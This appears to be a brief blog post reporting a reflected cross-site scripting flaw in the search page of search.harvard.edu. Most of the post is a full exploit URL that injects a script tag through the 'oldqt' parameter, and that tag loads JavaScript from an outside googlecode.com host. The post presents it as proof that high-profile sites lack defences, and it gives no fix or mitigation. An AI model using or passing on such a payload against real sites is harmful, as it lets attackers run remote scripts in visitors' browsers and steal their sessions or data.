Little or No Effort - Search.Harvard.edu

Given the proliferation of data driven sites, it's no surprise that XSS vulnerabilities are everywhere. What is surprising, however, is the number of high profile sites lacking countermeasures. Harvard's search page is a perfect example of this; we can easily inject a script using the oldqt field.

http://search.harvard.edu:8765/query.html?charset=iso-8859-1&qt=cross-site%20scripting&oldqt=%3Cscript%20type%3D%22text/javascript%22%20src=%22http://xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js%22%3E%3C/script%3E

No tricks needed, all it takes is a script tag.